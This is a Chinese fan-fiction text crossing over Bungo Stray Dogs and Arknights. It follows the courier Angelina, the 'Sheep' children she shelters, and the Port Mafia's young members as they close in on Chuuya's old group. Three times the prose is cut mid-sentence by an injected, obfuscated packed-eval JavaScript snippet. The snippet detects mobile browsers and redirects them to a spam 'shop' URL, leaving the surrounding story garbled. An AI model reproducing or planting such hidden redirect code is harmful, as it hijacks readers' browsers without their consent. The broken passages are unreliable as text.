安洁莉娜甚至能听见自己呼吸的声音。 “久作君?”她走到禁闭室门前,小声地呼唤,却没有应答。当她把手放在本该紧锁的门上时,却很轻易地推开了。 略显老旧的铁门发出“吱呀——”一声响。 安洁莉娜一愣。 禁闭室里已经没有人了,甚至那张绑着束缚带的小床也不见了。 “……这么快吗?”她喃喃着,一个人站在黑暗的禁闭室中。 - “旧世界”台球吧。 尽管已经过了营业时间,这家店也没有关闭,反而亮着灯光。店内放着舒缓的古典大提琴曲,和这一同相和着节奏的,还有时不时响起的台球碰撞的声音。 射灯照在台球桌的绿色绒毛上,尽量让每颗台球的影子都集中在最底下,球杆顶端抹了防滑的粉末,利落地将白色的母球击打出去。击中了一颗球,在桌沿上碰了两下,速度减慢停住,没有进袋,但不必在意。 有五个年轻人聚集在这里。 “又没进啊,外科医生。”年轻人中的一个拿着球杆,大大咧咧地靠坐在台球桌上,手上拿着一杯酒。他原本戴着墨镜,而现在墨镜被推到头顶,卡在到处乱翘的头发上,大大方方地露出过分灿烂的笑脸。 而被他称作“外科医生”的人,则有着与之截然相反的气质,苍白的肤色和阴郁的表情同时出现在他的脸上,让人联想到“行走的尸体”这一类的词。然而外科医生依然活着,虽然随时都有一个输液架挂着不明内容的袋子向他输送药液,但他依旧拿着酒杯,十分不健康地活着。 “呵呵……说不定下一个掉进袋子里的是你的头。” 他这么说着,淬过毒一般的眼神从刘海后面露出来。 “要试试吗?外科医生,看谁的头先掉下来。” “呵呵……” “今天是有正事才聚集到这里的,如果耽误时间就头疼了。”有人打断了他们的对峙。他宛如古希腊雕像上的女神一般微笑着,毫不吝惜这副姣好的皮相和举手投足之间的魅力。很快,两人中的一个率先败下阵来。 “真是的——公关官,不要再这样对我笑了!” “阿呆鸟,如果有一天你需要矫正性取向,可以来联系我……呵呵。 公关官一副不知道他在说什么的表情,依旧保持着迷人的微笑。 “既然公关官都这么说了,那就步入正题吧。”一个全身上下只有黑白两个颜色的男人放下球杆,优雅地走过来坐下。他将酒杯放在台球桌上,双手交替放在胸前,白色手套和黑白象棋格衣领相衬,让人产生眼花的错觉。 这是钢琴师,是这些年轻人中的领导者,也是组建了这场聚会的人。 在这里的五个人,都是港口黑手党的成员。尽管如此年轻,他们都是在港口黑手党中拥有着举重若轻地位的人,同时也是这个黑暗组织中的新鲜血液。其中的翘楚是钢琴师,在背叛组织的叛徒兰堂死亡后,他就成为了下一个“最接近干部位置的人”。 “我们很快就要迎来一名新的同伴。”钢琴师说,“这位新的同伴,就是前不久才加入港口黑手党的重力使中原中也,原来是敌对组织‘羊’的首领。” 阿呆鸟吹了一声口哨:“原敌对组织的人?” “我听说他才出院。”公关官问,“你觉得他怎么样?外科医生。” “呵呵……说不定他会在港口黑手党掀起反叛呢。”外科医生阴恻恻地笑着,“他可是在修养的第一天就逃出了医院,是个非常具有叛逆精神的病人。” “哈哈哈,听起来还不错啊。” “‘羊之王’的名声我也有所耳闻,是个不好对付的对手。” 钢琴家点了点头,转头看向另一个人:“冷血,你以前和他交过手,你的看法呢?” 冷血沉默地站在射灯照不到的阴影里。 他披着一件黑色的长风衣,手上有一根烟在静静地燃烧。如果不是那一点零星的火,他就要这样完全融入在暗色之中了,仿佛美术馆里的大理石雕像一般安静。 然而他一开口,却是听起来毫不相关的事情。 “我今天的任务失败了。” 室内顿时一静。 然而冷血他平静地叙述,并不觉得是什么不可言说的事情:“对方也是驭使重力的好手,我在中原中也身上败过几次,很熟悉那种力量。” “诶?什么意思?意思是有其他重力使出现了吗?” “有意思……呵呵。” “既然你特意提出来,除去重力之外,还有什么值得注意的地方吗?” “代号‘信使’,和中原中也年龄相仿,红发的少女。”冷血这么说着,然后沉默了几秒才继续道,“而且,在她发动异能的时候,皮肤上没有讨厌的感觉。” 这是冷血的特殊体质,能够在周围有人发动异能力时敏锐地感知到。拜这个体质所赐,他在针对异能力者的暗杀中无往不利,只在少有的几个强大的异能力者手中尝到败北。中原中也是其中之一,而自称“信使”的少女也是。 天花板上突然出现密密麻麻的丝线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042451|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而冷血一撂眼皮,像是早有准备,一个闪身便躲开了。那些丝线的目标并不是他,而是桌上的台球杆。它们缠住球杆,向母球一击,一串连环的碰撞后,一颗球掉进袋中。 “看来不是体质出了问题。”钢琴家说,“那就只剩下一种可能……” “那不是异能力。”冷血接上他的话。 阿呆鸟茫然地在他们之间看来看去。 “喂喂——什么意思?没有异能力却能操纵重力的重力使少女?但这和中原中也有什么关系?” 然而没有人理他,也没有人回答他的疑问。所有人像无视空气一样无视了他。 “我知道了。”钢琴师的脸上收敛了笑意,“公关官,这段时间和中原中也的接触就拜托你了。” “没问题。” “呵呵……开始变得有意思起来了。” “喂!所以到底是怎么回事啊?!” …… 港口黑手党大楼,首领办公室。 落地玻璃窗外是横滨的夜景,星星点点的亮光错落着,大海在月光下暗涌。 明明已经是深夜了,新上任一年的首领却依旧坐在办公桌前,几大摞文件摆在手旁边,显然工作十分繁忙。而与之形成鲜明对比的,是在他办公桌旁画画的少女。 如果安洁莉娜在这里,一定能认出,这就是她下午在医院遇见的医生“父女”。 一个黑西装的守卫走到首领旁边,低声报告了什么。 森鸥外放下钢笔,挥了挥手让所有人退下。 “太宰君把来自青年会的紧急报告拦下了呢。”他走到落地窗前,望着底下的夜色,露出一个笑容,“看来冷血君收获颇丰。” 爱丽丝换了个上色的蜡笔。 森鸥外的双手背在身后,食指轻点手背:“看来即使是异能力以外的力量,也是‘人间失格’更胜一筹呢。” 如果说中也君身为人形特异点“荒霸吐”的容器已是异类,那么独立于异能力之外的信使君更是异类中的异类,那么——能让异能力之外的力量都无效化的太宰君——又算什么呢? 想必太宰君也意识到了这一点,所以感到不快了吧。 森鸥外对“钻石”无伤大雅的小性子一向十分宽容。他能有什么不宽容的呢?人形特异点和究极反异能力者都是港口黑手党麾下新人,而正为“羊”奔波的信使君,也因为【重力】的羁绊而无法置身事外。 今天还在熟人的医院中接回了一个珍贵的精神系异能力者。 爱丽丝晃着腿,把断掉的蜡笔扔到一边。 “小爱丽丝,你说信使君会是第二个‘荒霸吐’吗?” 爱丽丝嫌弃地瞥了他一眼:“你不是已经知道了吗?” “还不能百分百确定嘛。” “反正林太郎只会说‘是不是都一样’吧?真是的,最讨厌林太郎了!” “小爱丽丝——” “林太郎的工作还没有做完吧!现在就在偷懒了!” 森鸥外唉声叹气地回到办公桌前,拿起钢笔继续批文件,幽怨地说:“都已经成为首领一年了,工作还是堆积如山。” “都是林太郎太逊了。” 森鸥外叹着气。他拿起爱丽丝画完的画,将其放进了桌子的抽屉中。 画上是三个孩子在手牵手。 12.软弱的 安洁莉娜正在夜色中跳跃。 伸出脚,脚跟落地,然后脚掌与地面短暂接触,就在这时候使力,反作用力带着整个身体离开地面,轻盈而飘逸。 飞翔就是这样的感觉。 无拘无束,仿佛什么都不必去在意,烦恼也好,难过也好,一切都可以甩到脑后。 “安洁莉娜?怎么哭了?” 那时候刚来罗德岛,真是什么都做不好。明明是她自己主动和凯尔希医生提了上前线,却又在要战斗的时候畏怯了;每天光是训练就感觉精疲力尽,却又贪心地不肯放弃信使的工作,第二天睁眼发现罗德岛又来到了全新的地方,出去送信的时候连路都不认识……* 不想给任何人添麻烦,也不希望总是躲在大家背后。* 想赶紧变成闪闪发光、独当一面的大人,就像凯尔希医生……还有博士一样。* 结果却完全变成了和愿望相反的样子。 于是在不小心丢件之后,一下没忍住,眼泪就擅自跑出来,只能拼命忍住不掉下来。 可颂就是在这时候出现的。 “只是一次意外而已,把包裹找回来就好了!”明明并不擅长安慰人,可颂却一点都不嫌弃什么都做不好的她,把纸巾递过来。说来也奇怪,其实更委屈、更难过的事情也不是没有经历过,但她一向都忍得很好,就算哭鼻子也是一个人悄悄在被窝里,从来没让别人担心过。 这次其实也一样的。 但那张纸巾递过来时,眼泪就像决堤了一样,啪嗒啪嗒地往下掉。 为什么一定要上前线呢?为什么人们要彼此伤害?如果大家都能和平地相处,那就没有再战斗的必要了吧?为什么一定要夺取谁的性命呢? 这些无解的疑问盘旋在脑海里,连可颂在说什么都没有听清。 现在回想起来,那副样子一定很逊吧。眼泪乱七八糟地在脸上流淌,还抽噎着打哭嗝,话也说不清楚,完全是闹别扭的小孩子。 但很突然地,眼前被泪水模糊的景象清晰起来。可颂给她擦干眼泪,拉起她的手。“没关系的,就算不小心丢件,也一定可以找回来的。”说着可颂打开随身携带的地图,在上面画了三个圈,“安洁莉娜今天去了这些地方吧?我们一起去找吧,肯定是不小心落在路上了。就算迟到了,和收件人好好解释,也一定会没问题的。” 其实不是丢件的事情。但她泪眼朦胧地望着可颂关切的脸,依旧重重地点了点头,回答都带着浓重的鼻音:“嗯。” …… “……自从我离开了所有认识我的人,‘安洁莉娜’这个人就似乎在一点一点消失。”她坐在树的枝干上,轻声复述着记忆中的对话,“之后我开始送信。我惊讶地发现,每当我把一封信或者一个包裹送到别人手里,看到人们脸上露出的微笑,我确实也得到了一些东西。”* “只有这个时候……才好像离过去熟悉的喜怒哀乐更近了些。”* 在大树的顶端,横滨微凉的风拂动着叶子,发出沙沙的声音。 其实并没有发生什么特别的事情。 只是一个人站在那空荡荡又黑漆漆的禁闭室时,她第一反应并不是恐惧,而是茫然。现在也是。 没有一件事是做好了的。 遇见了一位无法控制力量的小孩子,却帮不上忙;想要再看望一下,结果已经被接走了,所有记录和痕迹都被抹除,完全查不出带走他的是哪一方;正因如此,即使查到医院给儿童违规用药也拿不出证据举报,更何况她尚未立足,也无门举报;同理,即使知道同行设计暗杀,她也只能暂时记下一笔,日后再做打算。 “羊”的去处也没有头绪,反叛的真相又含糊不清,港口黑手党态度不明…… 无力感。 和那时候一样,无论再怎么努力,海嗣依旧踏过了最后一道防卫线。 “我……又认识了新的人。” 安洁莉娜凝视着绑着绷带的手,烧伤的灼痛通过神经隐隐传来,竟然让人产生了一种对痛苦的眷恋。 “但是,我现在究竟是更靠近过去的自己,还是更远离了呢?” “——” 是电话,是保持常态开机的那个。 安洁莉娜看了看联系人,接了起来:“绫美?发生了什么事情吗?” “不,没什么。”绫美说,“只是打电话问一问……今天晚上要给你留门吗?” “留扇窗户就可以。” “嗯。” “吃饭了吗?孩子们怎么样?” “吃了,现在是自由活动时间,所以都跑出去玩了。” “都跑出去玩了?真是的,都不帮帮你洗碗吗?” “没事的……是我说我一个人就可以的。” “绫美,别太惯着他们了,要是有什么事情一定要和我说哦。” “我……我不想给安洁莉娜添麻烦。” 安洁莉娜无声地叹了一口气。 “没什么麻烦的地方哦。”她按了按太阳穴,柔声地安抚道,“我很高兴绫美能打电话给我。” “……真的吗?” “真的,就算绫美不打来,我也会打过去的。” 话筒中没有传来回答。 就在安洁莉娜以为这段通话就要在沉默中结束时,绫美突然开口:“有什么、有什么我能帮上忙的事情吗?” “诶?” “就像以前……我们一直在麻烦中也一样,现在也是,我们一直都在麻烦安洁莉娜。”似乎很紧张,绫美的声音压得很细,又好像是在忍耐着什么,“白濑说,这样下去是不行的,组织迟早会覆灭,所以制定了杀掉中也的计划。” “……” “白濑的话是对的,我们一直在依赖中也。所以只要中也走了,那‘羊’也不会继续存在,因为……因为我们是那么软弱。”绫美含着哭腔的声音说道,“但是、但是……果然我还是觉得,有什么不对的地方——” “弱小的是我们啊!” 绫美崩溃地捂着脸,她躲避着其他伙伴,一个人半跪在厨房的灶台前,菜刀不小心划开的伤口流着血。 “一直没能帮上忙、给中也拖后腿的人,是我们啊!!因为这样就要把中也杀掉……应该被杀掉的是我们才对啊!” 她跌坐在地上,从喉咙中挤出呜咽:“我已经……不想再继续这样了,不想再一味地依赖谁、成为拖后腿的累赘了……所以,安洁莉娜,如果有什么能帮上忙的事情,一定要和我说哦?好不好?就算我现在什么都做不了,我也会尽力去学习的……所以,拜托了。” “嗯。”安洁莉娜紧握着电话,仿佛被感染一般,声音也不由自主地带上了泪意,“绫美帮了我很多,绝对不是累赘哦。” “……不用为了安慰我说这种话的。” “真的,如果没有绫美在,我今天晚上就要饿肚子了。”安洁莉娜咬下一口饭团,“而且,如果没有绫美的话,我可管不住其他人,还要头疼每天要吃什么。我虽然喜欢料理,但是一下子要我负责准备这么多人的食物,我可做不来。绫美却能很轻松地做到,这一点我一直抱着敬意呢。” “这些都是微不足道的小事而已……” “怎么能说是微不足道的小事呢!绫美可是很重要的管理人才!是我的左膀右臂!”安洁莉娜反驳道,“每个人都有擅长和不擅长的地方,绫美能填补我不擅长的空缺,我很高兴哦。比如绫美能了如指掌地说出每个人的吃饭、睡觉、上课和作业的情况……我就完全做不到。” “那是因为安洁莉娜对我们还不熟悉啦……” “熟悉了也做不到啊。”安洁莉娜夸张地叹了口气,“你看我和白濑多‘熟悉’,但我完全想象不出来为什么他能把12.7+7.3算成20.10,一改他的作业我就生气。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044287|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “噗……白濑还不会进位的思考方式吧。” “是这样吗?其他人现在怎么样?有好好吃饭吗?有没有偷吃零食?” “阳翔知道今晚有炖牛腩之后,说要大吃三碗米饭。小花奈也是,还跑到厨房偷吃,最后还是偷偷给她分了点。” “……阳翔那家伙,在我面前什么话都不说,还经常说吃不下了然后浪费粮食。真是的,我有这么可怕吗?” “哈哈哈,可能因为安洁莉娜是老师?在课上生气的样子还是很可怕的……” “……好受打击。” “但我知道安洁莉娜其实很温柔哦!生气也是因为他们不听话扰乱课堂,换成是我我也会生气的。” “我还没见过绫美生气的样子呢,好奇。” “我确实很少生气……” “说不定绫美生气起来也温温柔柔的,毫无威慑力呢。” “才不会……” …… 两个人一说一笑聊了好一会儿。安洁莉娜在树枝上晃着腿,饭团在不知不觉中吃光了。夜幕悄悄爬上天际的一角,夕阳的光即将沉没在地平线后,晚风依旧温柔。 安洁莉娜呼出一口浊气。 “绫美,我今天遇到了港口黑手党的人。” “……很危险吗?有受伤吗?” “是个杀手,不过没关系,他打不过我的!” “安洁莉娜好厉害。” “但是,那个杀手好像认识中也先生。” “……” 两个人都沉默了。 “其实……我一直感觉到不安。”安洁莉娜从树叶的间隙中望向夜空,手轻轻放在胸口,喃喃道,“虽然一切都很顺利,但我还是觉得有违和感……但究竟哪里不对,我也说不上来。” “……” “绫美,你觉得,中也先生会让杀手来追杀你们吗?”话刚出口,安洁莉娜便觉得不妥,急忙补充道,“当然!我没有说是中也先生派出杀手的意思……我只是在想,会有这种可能性吗?” “……我不知道。” “我也不知道……刚开始我很确定,但现在我也不知道了。”安洁莉娜抿着唇,“所以我想问问你——不要用理性,用你的心去思考——即使中也先生真的背叛了‘羊’加入了港口黑手党,你认为他会下杀手吗?” “……”绫美咬了咬唇,闭上眼睛:“不会的。” “中也不会的。就算加入港口黑手党,他也不会杀我们的。不,他也一定不会背叛我们的,这之间一定有什么隐情。我相信中也是不会这么做的。” 安洁莉娜沉默一会儿:“我知道了。” 绫美突然泄气道:“……就算我这么说,也太迟了吧。我还有什么资格说这样的话呢?如果中也没有背叛……不,中也肯定没有背叛,那我们究竟做了什么啊……” 她呜咽着:“……我们是多么软弱啊。” 安洁莉娜没有回答。 话筒中寂静了几秒钟。 “安洁莉娜,”像是下定了决心一般,绫美说,“可以拜托你一件事情吗?” “什么事?” “去见中也吧。然后……然后替我说一声对不起。” “……” 听不见对面的回答,绫美抿着唇。手上的伤口已经不再流血了,但血污弄得到处都是,伤口咧开了一条难看的缝隙。即使以后愈合,也会留下一道疤吧。 “……果然,还是太迟了吗?” “我不知道啊。”安洁莉娜叹息般地说,“中也先生会怎么做,我也不知道。” 她从树下跳下来,平稳地落地,拆开手上的绷带。 “但是,我会努力传达到的。”安洁莉娜笑着,“毕竟我可是信使嘛!” 绷带下面,伤口已经消失了,连受伤的痕迹都没有。 果然没有人会喜欢疼痛的。 13.私塾老师 好奇妙,和绫美打过电话之后,心情一下子好起来了!果然和人交往,一定要保持一颗真诚的心呢,只要能好好传达出心意,话语就是有意义的,这就是信使存在的价值嘛! 安定下来之后,孩子们对我也有了基本的信任,终于可以好好查一下之前的事情了。希望能问出一些有用的情报吧! 我一定会见到中也先生的!【安洁莉娜加油涂鸦】 【安洁莉娜手记】NO.5 中华街晴 - “真是后生可畏啊!” 水晶灯悬挂在天花板,暖色的光被水钻折射得越发柔和,洒在堆叠的香槟塔上,渲染出纸醉金迷的虚幻感。 中原中也忍住拉一拉波洛领带透气的想法,不卑不亢地站在尾崎红叶身边。面对“大人物”的夸奖,他也没谦虚地说客套话,而是大大方方地应下来,敬了一杯。 这是他作为尾崎红叶直属部下的第一次亮相。对方是港口黑手党直属企业的社长,觥筹交错间敲定的买卖金额以亿为单位,期间来推杯换盏的人物都是商界的大拿。这是他在“羊”的时候不曾接触过的名利场,本以为会紧张,结果往红叶大姐身边一站,剩下的顺其自然。 来之前他背过资料,不至于听不懂,有不认识的人红叶大姐也会提点。然后该敬酒敬酒,该打招呼打招呼,有找茬的该怼回去怼回去。理顺人物关系之后,就简单多了。 就这一晚上,“中原中也”这个名字在不少大佬面前挂了号。 “就新人来说,今晚的表现还不错。” 晚宴结束后,尾崎红叶微笑着点评道。她用宽大的和服袖子半掩着唇,头上的簪花反射出清凌凌的光,雪白的后颈被后幅勾勒出漂亮的弧度。 她站在那里,宛如从美人绘中走出的人物。 然而就是这样全身都写满“无害”的女人,正是港口黑手党的五大干部之一,在组织中管辖走私交易、对外商贸、刑讯等重要业务。而她本人也是一位出色的暗杀者,其异能金色夜叉的剑下有数不清的亡魂。 “不,我还有很多不足,是大姐提点我。” 中原中也复盘今晚的表现,认真地道。 刚加入港口黑手党就能成为干部的直属部下,可见组织对他的重视。 中原中也并不在意这份“重视”究竟是出于看好还是监视,总之已经走到这里,他会脚踏实地地把之后的每一步都走好。 尾崎红叶的红唇微勾。 “确实,要坐在谈判桌上还不够格。就今晚的合作草案写成报告,这是你的第二个任务。”尾崎红叶坐进车里,从车窗对他说,“明天就让妾身看看你的身手如何吧,小鬼。” “是。”中原中也扶着帽子,低头应道。 目送上司乘车离去,中原中也拉开后一辆车的车门,坐到后排。 他把手臂靠在车窗上,拉开领口透气,让风吹过泛着热意的脸颊。 今晚他也喝了不少,好在商业场的酒度数都不算高。 在“羊”的时候,度数更高的好酒更受欢迎。不过大多是偷来、或者从其他组织抢来的,除了少数几瓶珍藏起来,大部分都卖出去换钱和武器。 也没人会品酒。白濑觉得越贵的酒越好喝,从来不看酒庄和年份;省吾只是单纯爱喝醉,用酒精麻痹大脑而已,根本不在乎酒的好坏;绫美偶尔会陪他小酌一杯,但他和女生之间没什么话题,对方也并不爱酒,从来喝不尽兴…… 路灯一盏一盏掠过,中原中也眯起眼。 “喂,这不是回Mafia的路。”他从后视镜看向坐在驾驶座的司机,“你是谁?” 司机吹了声口哨,挂挡踩下油门,瞬间飚出几百米。 他摘下帽子,露出一头金色的乱发,墨镜从帽子里落下来架在鼻梁上。 “初次见面,你可以叫我阿呆鸟。”他享受着狂风和推背感,对后视镜里面色不善的中原中也咧出一个灿烂的笑,“有兴趣打台球吗?” - “距离30天还有不到两周,上学生活就要结束了哦,有想好之后要做什么了吗?” 课间休息的时候,安洁莉娜把孩子们挨个叫来,一对一面谈。 当初说好庇护他们30天,并不是在开玩笑。安洁莉娜自觉无法负担起这么多孩子的未来,却又无法放任他们被敌我不明的港口黑手党带走,索性提出30天的缓冲期。 尽管她一开始就把这个期限说明了,但这么多天过去,认真思考未来的却不多。 得到的回答也大多模棱两可。 “……以后?我不知道……应该是加入其他组织吧。” “花奈想留在这里!” “不知道。” “首先要考虑活下来吧……” “……” “没有一个人想去上学啊。” 安洁莉娜无奈地合上笔记本,掰着手指数道:“有一半说‘不知道’。有三个说要跟着白濑君,花奈想留在中华街,两个大孩子要加入其他组织……阳翔君还是老样子,一句话都不说。” 最后一个面谈的孩子是绫美。安洁莉娜抱着微弱的希望问:“绫美呢?绫美以后想做什么呢?想过什么样的生活?” “嗯……我也不知道呢。” 安洁莉娜趴在桌子上,脑门在桌上磕得“咚”的一声:“怎么绫美也这样——” “因为没办法吧。”绫美泡了茶,“在安洁莉娜来之前,上学这种事情,想都不敢想。” 安洁莉娜喝了一口,吐吐舌头放下了:“我还是更喜欢咖啡一点。” “说起来,安洁莉娜不是日本人吧?名字像外国的。” “嗯,我爸爸是叙、意大利人。”安洁莉娜垂下眼,盯着茶杯中上下飘浮的茶叶,“茶的话,只有嗯……很久以前的长辈喝,我喝不惯。” “这样啊。” “算了,毕竟还有中也先生和港口黑手党的事情摆在那,他们不敢想太多也正常。”安洁莉娜坐起来,用一只手臂撑着脸,微微一笑,“不过我相信一定很快就会解决的!” 绫美一怔。 “嗯,我也相信。”她也笑起来。 “安洁莉娜姐姐——老师找你!” 门外传来孩子的喊声。两人对视一眼,安洁莉娜放下笔站起来:“那我先过去啦。” “好。” 绫美见她趿拉着拖鞋“哒哒哒”地跑走,嘴角温和的笑意渐渐散去,捋平成一条直线。 她拿起安洁莉娜留在桌上的笔记本,眉间忧虑地蹙起。 “未来……吗?”绫美摩挲着笔记本的封皮,“我们这样的人,也可以肖想‘未来’这么奢侈的东西吗?” 像他们这样被遗弃在垃圾堆的迷犬,也能有选择未来的权利吗? “拜托你了……安洁莉娜。”绫美把笔记本抱在怀中,眼泪在封面上划出一道痕迹,“白濑不是正确的,我们也是可以有未来的——让我相信你的话吧,拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056714|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托了。” …… 安洁莉娜不知道小伙伴的担心。 或者,多多少少察觉了一些,但依旧将思考的空间留给了对方。 她走到私塾老师的书房前,敲了敲门。 “进。”是熟悉的中文。 安洁莉娜推门进来,关上的时候下意识放缓动作,没发出多少声响。坐在书桌前临帖的人正是收留“羊”的私塾老师,她戴着一副挂链的金丝边眼镜,右手扶纸,左手下笔,半眯着眼看准位置,一气呵成。 岁月在皮肤上留下深深的沟壑,也沉淀出沉稳和威严。 “坐。”她头也没抬地道。 安洁莉娜乖巧地拉开凳子坐下。 ……总有种面对教导主任的局促感。 “最近怎么样?” 安洁莉娜斟酌着词句:“挺好的。虽然发生了一些事情,但我相信自己有能力解决。” “嗯。”老师写完最后一笔,蘸了印泥,在宣纸上一敲,“有信心是好事。” 安洁莉娜自觉地接过笔砚,拿到专门的水槽去清洗。回来的时候临好的帖放在一边晾干,她悄悄看了两眼,是没见过的词。 不知道是没读过,还是世界的差异。 安洁莉娜说:“请老师提点。” 然而私塾老师一撩眼皮,淡淡地道:“我记得你说,中文是从小学的。” “……是。” “但我看你长相,不像是纯正的亚洲人。父母是欧美哪个国家的?” “……我爸爸是意大利人。”安洁莉娜莫名有些紧张,捏着裙子的手上出汗。 私塾老师深深地看了她一眼。 正当安洁莉娜以为对方要刨根问底时,话题却突然一转:“你刚来横滨,不知道这儿的水深。不只是港口那边,上头和外国都在这儿搅风搅雨。” 安洁莉娜有点后悔没拿笔记本过来:“是因为租界吗?” 私塾老师双手交叉放在桌上:“这是一部分原因。横滨在战前就乱,战后更乱。不过从一年前港口换人之后,要好一些了,但还是乱。你人生地不熟,卷进些不得了的事情里边去,骨头都给你啃碎了。” 安洁莉娜低着头挨训。要是耳朵没藏起来,想必能看见耷拉下来的样子。 “再具体的,我也不清楚,但万事小心总没错。”私塾老师从摞起来的书堆里抽出一沓资料放到她面前,“那些小孩儿的去处查到了。人都没事儿,港口给送孤儿院去了,全国各地都有。” 安洁莉娜眼前一亮,双手接过:“谢谢老师!” “能让那群小崽子走上正途,也是件好事。不过还是得按规矩来的。”虽然这么说着,私塾老师脸上也露出了笑意。 安洁莉娜珍重地收好那些孤儿院的资料,认真道:“您放心,我记得的。” 私塾老师摆摆手赶人:“还不到用你的时候。” 于是安洁莉娜喜滋滋地抱着那些资料告辞,然而走的时候朝老师挥挥爪子,又被叫住了。 私塾老师沉吟片刻,指节在书桌上叩了叩。 “虽然我没接触过,但小心港口来的人。”她半眯着眼,“尤其是一年前刚上任的新老板,那不是个善茬。” 安洁莉娜怔了怔,应道:“好。” “还有,人心不可测。”她斜了眼全身上下都写满“天真”的小孩儿,“早点把人送走,你自己也安生。” 安洁莉娜眨眨眼,甜甜一笑:“嗯!” 14.等 “和她交手的时候,我看见了,那是中华街才有的牌子。” 昨晚被一个黄毛墨镜男带到一个台球吧。中原中也本来以为是有人找茬,却收到了一份入会邀请。 虽然最后还是打了一架,把球吧砸了一半,但这群人确实不是来找茬的。 他们自称是港口黑手党的青年会组织,只挖掘组织中有潜力的新人入会,对刚加入就能成为干部的直属手下的中原中也很感兴趣。 “我的公寓就在你楼上,我们还是邻居呢!”名叫阿呆鸟的黄毛男嬉皮笑脸地说。 “原来半夜跳踢踏舞的人就是你啊?!” 除此之外,青年会还有一个老熟人,一位代号“冷血”的杀手。 还在“羊”的时候,他们曾交过手,以冷血的惜败为结局。 中原中也扯了扯嘴角。然而还没等他说什么,冷血就平静地爆出一个大消息:“中原,有人委托我杀你的妹妹。” 中原中也瞳孔微缩。 “不是说还不确定是妹妹吗?” “横滨哪还有第二个重力使,年龄也对得上,这年头的红发孩子可不多。” “呵呵……也不一定是妹妹。” “冷血不是说153cm吗,比中原高一点呢,说不定是姐姐?” “……” 中原中也就是在这种情况下砸了另一半球吧的。 然后在他的暴力交涉下,冷血吐出了关于重力使少女的情报。 “中华街?” “嗯,是横滨的华人组织,大战后就从里世界金盆洗手了。” “……你说的这些我当然知道。”中原中也“啧”了一声。以前“羊”在中华街的地盘也是向他们“租”的。不过说是租,实际上里世界的势力更迭很快,产权变更是件很麻烦的事情(尤其是要走合法渠道的时候),所以都是另挂了名字,占据地盘的组织定时交一笔挂名费就行了。 挂名费不高,还接受以物易物;再加上地盘在中华街内,那边的华人对街道整洁很看重,会顺带一起打扫了,不另外收钱。 而且虽然这边的华人号称“金盆洗手”了,但当初也是盘踞一方的势力,大战时期还收留了不少流离失所的孤儿,“羊”也多少受到过接济。因此他对中华街的老大一向抱有敬意,挂名费都会按时缴纳。 不过除此之外,“羊”和中华街就没什么交情了。 “所以,这就是你来找我的原因?” 太宰治一脸嫌弃地看着被踹开的门,将资料随手一扔。 中原中也双手环胸:“只要‘羊’的其他人一天没找到,你的任务就不算完吧?” 之前太宰治带着一群黑手党来海滨截杀,给的理由是“阻止敌对组织联盟对港口黑手党造成威胁”。但现在“羊”有一半人下落不明,还是由另一个重力使带走的。如果放任不管,说不定会发展成下一个敌对组织。 要是事态真的发展成这样,最后清剿的任务还是会落到他俩头上。 到时候可就没有“留一命”的说法了。 似乎是看穿了他的心思,太宰治似笑非笑地瞥了一眼:“之前我就说过吧,中也——你的弱点就是异能力太强大。因为拥有强大的异能,所以培养不出缜密和狡黠的思维——那些人藏在中华街的情报,我早就查到了。” 中原中也低头沉思,随后皱眉:“为什么是中华街?” “不,重点不是为什么。”太宰微笑着,“如果是我,我也会考虑中华街。” 他比出三根指头:“里世界中,能和港口黑手党形成对抗的组织只有高濑会。但在GSS和‘羊’都覆灭的情况下,高濑会不敢反抗港口黑手党,只会把残党都交出来换取利益。所以一定是里世界之外的地方。” 只剩下两根手指:“我原本留了一个成员的私产,结果他们没有上当。” 说着太宰治遗憾地摇了摇头,只剩下一根手指:“‘羊’都有案底,不可能投靠政府和军警。除此之外,横滨还有什么能和港口黑手党抗衡呢?” 中原中也抿唇:“……外国人。” “没错。”太宰治的嘴角浮现出迷雾般的微笑,“横滨租界,这就是这座城市混乱的根源之一。如果和外国的组织扯上关系,连政府都只能收手旁观,港口黑手党也必须要做好全面开战的准备。中华街也是选择之一,华侨可比欧美老爷们好多了。” 横滨的华人组织是大战前就形成的,基本都是来日务工和经商人士。大战开始后,华人们被切断了回国的途经,又迫于先代统治下港口黑手党引发的混乱,于是在横滨抱团互助,建立起中华街。大战结束后,他们就宣布金盆洗手退出里世界,在中华街办起了学校,不过只收华人小孩。 可能是大战期间形成的传统,中华街一向以抱团和护短闻名。就连港口黑手党都不想轻易招惹,不是打不过,而是和这些华人死磕的代价太大,且回报完全不成正比,还容易沾一身腥。 反正这些华人不爱惹事,只爱赚钱,慢慢地就没人来找麻烦了。 